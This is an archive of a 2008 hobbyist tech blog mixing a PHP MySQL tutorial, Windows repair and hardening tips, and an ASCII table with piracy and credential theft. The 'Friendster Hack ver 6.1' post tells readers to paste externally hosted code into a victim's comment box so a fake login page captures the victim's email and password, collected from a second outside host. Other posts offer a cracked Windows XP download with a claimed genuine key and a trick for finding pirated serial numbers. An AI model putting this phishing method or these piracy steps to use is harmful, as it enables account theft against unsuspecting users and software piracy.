Archive for the ‘Computer’ Category

PHP MySQL Connect to a Database

December 28, 2008

Create a Connection to a MySQL Database

Before you can access data in a database, you must create a connection to the database.

In PHP, this is done with the mysql_connect() function.

Syntax

mysql_connect(servername,username,password);

Example

In the following example we store the connection in a variable ($con) for later use in the script. The “die” part will be executed if the connection fails:

<?php
$con = mysql_connect("localhost","peter","abc123");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }
// some code
?>

Closing a Connection

The connection will be closed automatically when the script ends. To close the connection before, use the mysql_close() function:

<?php
$con = mysql_connect("localhost","peter","abc123");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }
// some code
mysql_close($con);
?>

Microsoft Windows XP SP3 Blacklizard’s Edition v2 reloaded

December 28, 2008

I will be releasing the reloaded edition of this XP soon..

New updated consist of major driver update, post SP3 update until December 2008, included SATA drivers(major;Intel), essential appz and fully customized Windows UI(part of windows 7)

So wait for the release..

Microsoft Windows XP SP3 Blacklizard’s Edition(Updated)

September 21, 2008

talk

talk

talk

talk

talk

For the mean time,i cannot provide the screen shoot of dos based setup,Setup Billboard,BootScreen and Logon Screen..

I’ve lifted the minimum requirements to instal this edition..
ISO size is 240MB..
Its takes less than 15 minutes to complete the instalation..

WMP 11,Firefox2 and utorrent added(Silent instal)
The Key used in this edition is genuine and it passes WGA check..
The Following Tweaks and Patches Have been Applied.

Patches:
TCP/IP Half-Open Connections = 1000 (Default 10)
UXTheme Patch (Allows Unsigned Themes to be applied to XP)
Windows System File Checker Disabled (SFC)

Tweaks:
Boot and Shutdown-Status Messages-None
Desktop-Internet Explorer icon-Hide
Desktop-My Computer icon-Show
Desktop-My Documents icon-Show
Desktop-My Network Places icon-Show
Desktop-Recycle Bin icon-Show
Explorer-Add ‘Command Prompt’ to folder context menu
Explorer-Change Windows Explorer folder view-Tiles
Explorer-Disable Prefix: Shortcut to
Explorer-Disable shortcut arrow
Explorer-Recycle Bin: allow to rename and delete
Explorer-Recycle Bin: delete files directly
Internet Explorer-Disable information bar when popup is blocked
Internet Explorer-Disable Internet Explorer link creation
Internet Explorer-Disable Outlook Express link creation
Internet Explorer-Disable sound when popup is blocked
Internet Explorer-Enable Google URL-Search
Internet Explorer-Keep IE URL-History for-0 Days
Internet Explorer-Set Homepage-www.google.com
Internet Explorer-Set Internet Explorer to accept 10 connects at a time
My Computer-Add Administrative Tools
My Computer-Add Control Panel
My Computer-Remove Shared Documents
Performance-Disable Last accessed Timestamp on files
Performance-Disable Optimize harddisk when idle
Performance-Minimal Power Management
Privacy-Remove Alexa
Security-Always show Updates under Software
Security-Screensaver Password-Protection-Disabled
Start Menu-Clear most recently opened documents list on logoff
Start Menu-Disable Highlight newly installed programs
Start Menu-Do not use Personalized Menus
Start Menu-My Network Places-Don’t display this item
Start Menu-Network Connections-Link to Network Connections folder
Start Menu-Remove Search For People from Search
Start Menu-Remove Search the Internet from Search
Start Menu-Remove Set Program Access and Defaults
Start Menu-Remove Windows Catalog shortcut
Start Menu-Remove Windows Update shortcut
Taskbar-Disable Group similar Taskbar buttons
Taskbar-Disable Hide inactive icons
Taskbar-Disable Language-Bar
Taskbar-Lock the Taskbar-Yes
Visual Effects-Animate windows when minimizing and maximizing-Enable
Visual Effects-Smooth edges of screen fonts-Clear Type
Visual Effects-Tooltip animation-Slide
Windows Media Player-Accept Privacy Statement
Windows Media Player-Disable auto-add music to library
Windows Media Player-Disable automatic codec download
Windows Media Player-Disable metadata retrieval
Windows Media Player-Disable MRU
Windows Media Player-Disable silent acquisition
Windows Media Player-Disable starting with Media Guide
Windows Media Player-Enhanced privacy settings
Windows Media Player-No visualization
Windows Media Player-Optimize fullscreen mode behavior
Windows Media Player-Zoom video to window size

Install Notes:
1. Unrar the ISO from the archives using Winrar.
2. Burn the ISO using a program such as Nero, Alcohol 120, Blindwrite, ect… (Burn at a slow Speed to ensure no errors, 2x-4x)
3. Change Bios Priority settings so it boots from the CD-ROM Drive First. (You may be able to skip this step)
4. Insert Disc and Reboot PC, Follow the on screen prompts and enjoy..

THE LINKSSSS…..

XP_BLK1.part1.rar
http://rapidshare.com/files/122760274/XP_BLK1.part1.rar.html

XP_BLK1.part2.rar
http://rapidshare.com/files/122772475/XP_BLK1.part2.rar.html

XP_BLK1.part3.rar
http://rapidshare.com/files/122081956/XP_BLK1.part3.rar.html

Say thanks if u download this edition

Download as free user..plz………..
Any problem?Fel free to PM me or contact me at my friendster
http://www.friendster.com/blacklizard

Friendster Hack ver 6.1

May 14, 2008

Since I don’t have enough time to post the full tutorial, here is the
temporary way to get Friendster’s email add and password.
Here we go..

First step;Find your victim

Second step;Copy the code in the url below in your victim’s comment box(I don’t bothering
to explain how this work cuz new way is coming soon)

http://blacklizard.fileave.com/linker.txt

Third step:Wait until your victim to login on fake Friendster’s log in page

Fourth step:Get ur victim’s email add and password here
http://h1.ripway.com/xcode/phpuid=next%20login/friendster.txt

Preview:

Histroy Revision

Friendster Hack ver 1.0 (uses iFrame)(Patched)
Friendster Hack ver 2.0 (uses DIV layer)(Patched)
Friendster Hack ver 3.0 (uses flash,blank frame,geturl command,only working in IE)(Patched)
Friendster Hack ver 3.1 (uses flash,geturl command,only working in IE)(Patched)
Friendster Hack ver 4.0 (cookie stealing method,external js)(Patched)
Friendster Hack ver 4.1 (cookie stealing method,javascript in flash)(Patched)
Friendster Hack ver 5.0 (uses overlay method)(Patched)
Friendster Hack ver 5.1 (uses overlay method but with external redirection)(Patched)
Friendster Hack ver 6.0 (uses image hyperlink,links from ripway.com)(50% Patched)
Friendster Hack ver 6.1 (uses image hyperlink,links from friendster itself and fileave.com)(Up and 100% working)

Corrupt NTLDR and/or NTDETECT.COM file

March 1, 2008

Windows 2000 users

If your computer is using Microsoft Windows 2000 and you are encountering the NTLDR error. Create the below boot.ini file on the floppy diskette drive.

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)WINNT=”Microsoft Windows 2000 Professional” /fastdetect

Copy the NTLDR and NTDETECT.COM files from another computer using the same Operating System. Both of these files are located in the root directory of the primary hard disk drive. For example, C:NTLDR and C:NTDETECT.COM should be the locations of these files on many computers.

  • Please keep in mind that these files are hidden system files, if you need additional help with viewing hidden files in Windows please see document CH000516

Once these files have been copied to a floppy diskette reboot the computer and copy the NTLDR and NTDETECT.COM files to the root directory of the primary hard disk drive. Below is an example of what commonly should be performed from the A:> drive.

copy ntldr c:
copy ntdetect.com c:

After the above two files have been copied, remove the floppy diskette and reboot the computer. 

Windows XP users

  1. Insert the Windows XP bootable CD into the computer.
  2. When prompted to press any key to boot from the CD, press any key.
  3. Once in the Windows XP setup menu press the “R” key to repair Windows.
  4. Log into your Windows installation by pressing the “1″ key and pressing enter.
  5. You will then be prompted for your administrator password, enter that password.
  6. Copy the below two files to the root directory of the primary hard disk. In the below example we are copying these files from the CD-ROM drive letter “E”. This letter may be different on your computer.copy e:i386ntldr c:
    copy e:i386ntdetect.com c:
  7. Once both of these files have been successfully copied, remove the CD from the computer and reboot.

Video Avatars

February 21, 2008

1. Open PowerDVD:

2. Open a movie or Video clip:

3. Go to the beginning of the part u want as avatar & click on pause

4. make a picture of it:

5. press 2 steps forward & then make another pic, do this until u got the whole part:

Video Avatars

1. Open PowerDVD:
user posted image

2. Open a movie or Video clip:
user posted image
user posted image

3. Go to the beginning of the part u want as avatar & click on pause
user posted image

4. make a picture of it:
user posted image

5. press 2 steps forward & then make another pic, do this until u got the whole part:
user posted image

6. go to imageready 7 & then select “file”, “import” & then “folder as frames…” & then u select the folder wit your pics made wit powerDVD:

7. put the layers in place & save it optimized as GIF

Tutorial Get the serial number you need

February 21, 2008

Get the serial number you need ! (For Certain Things)

* Go to Google.

* In the search field type: “Product name” 94FBR

* Where, “Product Name” is the name of the item you want to find the serial number for.

* And voila – there you go – the serial number you needed.

HOW DOES THIS WORK?

Quite simple really. 94FBR is part of a Office 2000 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and 94fbr, you guarantee two things. 1) The pages that are returned are pages dealing specifically with the product you’re wanting a serial for. 2) Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

See these example searches:

“Photoshop 7″ 94FBR
“Age of Mythology” 94FBR
“Nero Burning Rom 5.5″ 94FBR

Tip for shutdown windows – virus

February 21, 2008

Try to open:

Run -> cmb -> shutdown -a

This prevent the shutdown.

create a new shortcut.. then write;
shutdown -s -t 0 = this is for shut down in 0 seconds (t = time s=shutdown)
shutdown -r -t 0 = same but this is for restart comp. in 0 seconds..
(only for windows xp)
in win.98 this is different; we were wrote rundll32.exe -s or something like this..i couldnt remember right now..

Standard ASCII Character Set

February 21, 2008

Standard ASCII Character Set= For Bytes
The first 32 values (0 through 31) are codes for things like carriage return and line feed. The space character is the 33rd value, followed by punctuation, digits, uppercase characters and lowercase characters.

0   NUL
1   SOH
2   STX
3   ETX
4   EOT
5   ENQ
6   ACK
7   BEL
8   BS
9   TAB
10   LF
11   VT
12   FF
13   CR
14   SO
15   SI
16   DLE
17   DC1
18   DC2
19   DC3
20   DC4
21   NAK
22   SYN
23   ETB
24   CAN
25   EM
26   SUB
27   ESC
28   FS
29   GS
30   RS
31   US
32
33   !
34   “
35   #
36   $
37   %
38   &
39   ‘
40   (
41   )
42   *
43   +
44   ,
45   -
46   .
47   /
48   0
49   1
50   2
51   3
52   4
53   5
54   6
55   7
56   8
57   9
58   :
59   ;
60   <
61   =
62   >
63   ?
64   @
65   A
66   B
67   C
68   D
69   E
70   F
71   G
72   H
73   I
74   J
75   K
76   L
77   M
78   N
79   O
80   P
81   Q
82   R
83   S
84   T
85   U
86   V
87   W
88   X
89   Y
90   Z
91   [
92   \
93   ]
94   ^
95   _
96   `
97   a
98   b
99   c
100   d
101   e
102   f
103   g
104   h
105   i
106   j
107   k
108   l
109   m
110   n
111   o
112   p
113   q
114   r
115   s
116   t
117   u
118   v
119   w
120   x
121   y
122   z
123   {
124   |
125   }
126   ~
127   DEL
779   ♂
780   ♀

Name

Abbr.

Size
Kilo

K

2^10 = 1,024
Mega

M

2^20 = 1,048,576
Giga

G

2^30 = 1,073,741,824
Tera

T

2^40 = 1,099,511,627,776
Peta

P

2^50 = 1,125,899,906,842,624
Exa

E

2^60 = 1,152,921,504,606,846,976
Zetta

Z

2^70 = 1,180,591,620,717,411,303,424
Yotta

Y

2^80 = 1,208,925,819,614,629,174,706,176

Securing WinXP Pro (with what win-xp has to offer

February 21, 2008

Note: These are just notes of the changes i made to win-xp pro using win-xp options
after my default install. These changes will not secure your box 100% but they
make a good couple of 1st steps. They are in no specific order other than the
order that I performed them. I have only spent a couple of hours working on
this operating system at the time of this text so please bare with me and
understand that there is much more to securing your box than this.

1. NTFS Partition.
2. Disable Error Reporting
3. Disable Automatic Updates (only if your XP copy is pirated)
4. Disable “Recent Documents” Viewed
5. Setup XP Firewall
6. Setup screensaver password
7. Setup BIOS password
8. Setup “AfterBios” login password
9. Account Modifications
-Rename Admin Account
-Disable Guest Account
-Disable Help_Assistant Account
-Disable Support Account
10. Install a virus scanner.
11. Change Login Screen (default shows usernames)
12. Disable Remote Registry (and other services)
13. Disable/Change Auto-Search settings in IE.

1. —————————————————————————————–
NTFS Partition (I like being God over system users)
—————————————————————————————–

Be sure to install XP onto an NTFS partition so that you (the admin) can take advantage
of file permissions. You want this option so that “you” can decide who reads, writes,
executes what files.

If you didnt install XP onto an NTFS partition. Convert It. To convert to NTFS follow
the instructions below.

Open a command prompt and type “convert c: /FT:NTFS /v”

This command will convert your c: partition from FAT to NTFS in verbose mode.

2. —————————————————————————————–
Disable Error Reporting – we dont want microsoft to know everytime we fuck up.
especially if we didnt pay for winxp.
—————————————————————————————–

control panel >> performance and maintenance >> system >> advanced >> error reporting
(disable all)

right click “my computer” >> manage >> services and applications >> services >> ” stop
and disable” Error Reporting.

3. —————————————————————————————–
Disable automatic updates – to update, they must know what we have. thats a NO NO!
—————————————————————————————–

NOTE: DO THIS ONLY IF YOUR COPY OF XP IS PIRATED!! I suggest “auto update” if your copy
of XP is legal. If your copy is pirated then i suggest that you stay updated with
the latest fixes and patches manually.

control panel >> performance and maintenance >> system >> automatic updates
(disable updates)

right click “my computer” >> manage >> services and applications >> services >> ” stop
and disable” Automatic Updates.

4. —————————————————————————————–
Quit listing most recent documents opened under the start button – Dont want the
girlfriend or the parents to find that pr0n you being viewing.
—————————————————————————————–

control panel >> appearance and themes >> task bar and start menu >> start menu >>
customize >> advanced

remove the checkmark next to “List my most recently opened documents”.

5. —————————————————————————————–
Block incoming traffic to your winxp box. – Before this change, i scanned my xp box and
found it to have many ports wide open. After this change, I found nothing and xp logged
the attempts in c:\windows\pfirewall.log.
—————————————————————————————–

control panel >> network connections >> right click “local area connection” >> properties
>> advanced >> check the box under “Internet Connection Firewall” then choose “settings”.

Services Tab – leave all unchecked unless there is a service you are running that people
must be able to access.

Logging Options – Log everything.

ICMP – I left all these unchecked for the time being. (allowing nothing)

(this does not protect you from “Spy Ware”. This only stops traffic from coming into
your win-xp box (not all traffic). It does not stop traffic from going out.) If you
need to stop traffic from going out and need a more secure firewall then download a real
firewall like “zone alarm or black ice”.

6. —————————————————————————————–
Setting a screensaver password incase you leave some of that secret pr0n open when you
walk away.
—————————————————————————————–
right click on the desktop >> properties >> screen saver >> check the box next to ” On
Resume, Password Protect.”

If you dont have a password set on your user account, you can do so in control panel >>
user accounts >> change account.

7. —————————————————————————————–
Setting a BIOS password – We dont want anyone rebooting the computer or trying to sneak
into our pr0n while we are away at school or work.
—————————————————————————————–

I cant explain to one how this is done due to the differences between all computers and
how the BIOS settings are entered. If you know what Im talking about then do it. If you
dont know what Im talking bout then learn how to do it. A screensaver password is useless
unless you setup a BIOS password.

8. ——————————————————————————————
Setting up the “AfterBios” password. Sometimes bios passwords are easily cracked. This
password will add extra local login security incase your bios pass is crax0red. I dont
know bout you but i love having to type in 3 passwds and a username to login to my box.
——————————————————————————————

Start >> run >> type “syskey” >> choose “update” >> choose “Password Startup” >> enter a
password and choose ok.

9. ——————————————————————————————
Renaming and Disabling Accounts for adminstrator, guest, help_assistant and support.
——————————————————————————————
Right click my_computer >> manage >> local users and groups

rename administrator account
disable guest account
disable help_assistant account
disable support account

10. ——————————————————————————————-
Install Virus Protection…………. (We like our uncorrupted data and trojan free system)
——————————————————————————————-

Install a virus scanner. Your firewall might protect your system from unwanted hackers but
what about an unwanted virus or trojan?. I recommend installing a virus scanner such as
“Nortons” or “McAfee”.

11. ——————————————————————————————-
Change Default Login Screen………… (why do we want to share usernames with anyone?)
——————————————————————————————-

Xp uses the “welcome screen” by default. This screen has the names of all accounts on the
system so that the user only has to click on their name and type a password. Come on now….
We arent that damn lazy. If we change this screen to the normal login, then prying eyes
will have to know a username and password to get in. Follow the instruction below to change
this.

control panel >> user accounts >> change the way users log on or off

uncheck the box next to “Use Welcome Screen” and choose “apply options”.

12. ——————————————————————————————-
Disable Remote Registry……….(why would I need to edit my registry remotely anyway?)
——————————————————————————————-

right click “my computer” >> manage >> services and applications >> services >> ” stop
and disable” Remote Registry.

NOTE: disable any services running in this area that you arent using.

13. ——————————————————————————————-
Disable/Change Auto-search in Internet Explorer. This is not really a security risk but it
is important to some people that prefer to keep their internet surfing to themselves and
away from microsoft.
——————————————————————————————-

Open Internet Explorer >> Click the “search” button >> click the “customize” button >> click
“autosearch settings” >> FOLLOW INSTRUCTIONS BELOW………..

DISABLE: In the “When Searching” drop down menu, select “Do not search from the address bar”.
>> click “ok” >> “ok”. Type an invalid address in your address bar and see if it
takes you to the msn search page or if it gives a “page not found” error. In this
case, the “page not found” error is what we want.

CHANGE: If you wish not to disable, but you wish to change it to your favorite “google.com”
search page. Instead of following the “DISABLE” instructions, follow the instructions
below. Choose “Google Sites (or whatever you prefer)” from the “choose a search provider
to search from address bar” drop down menu >> click “ok” >> “ok”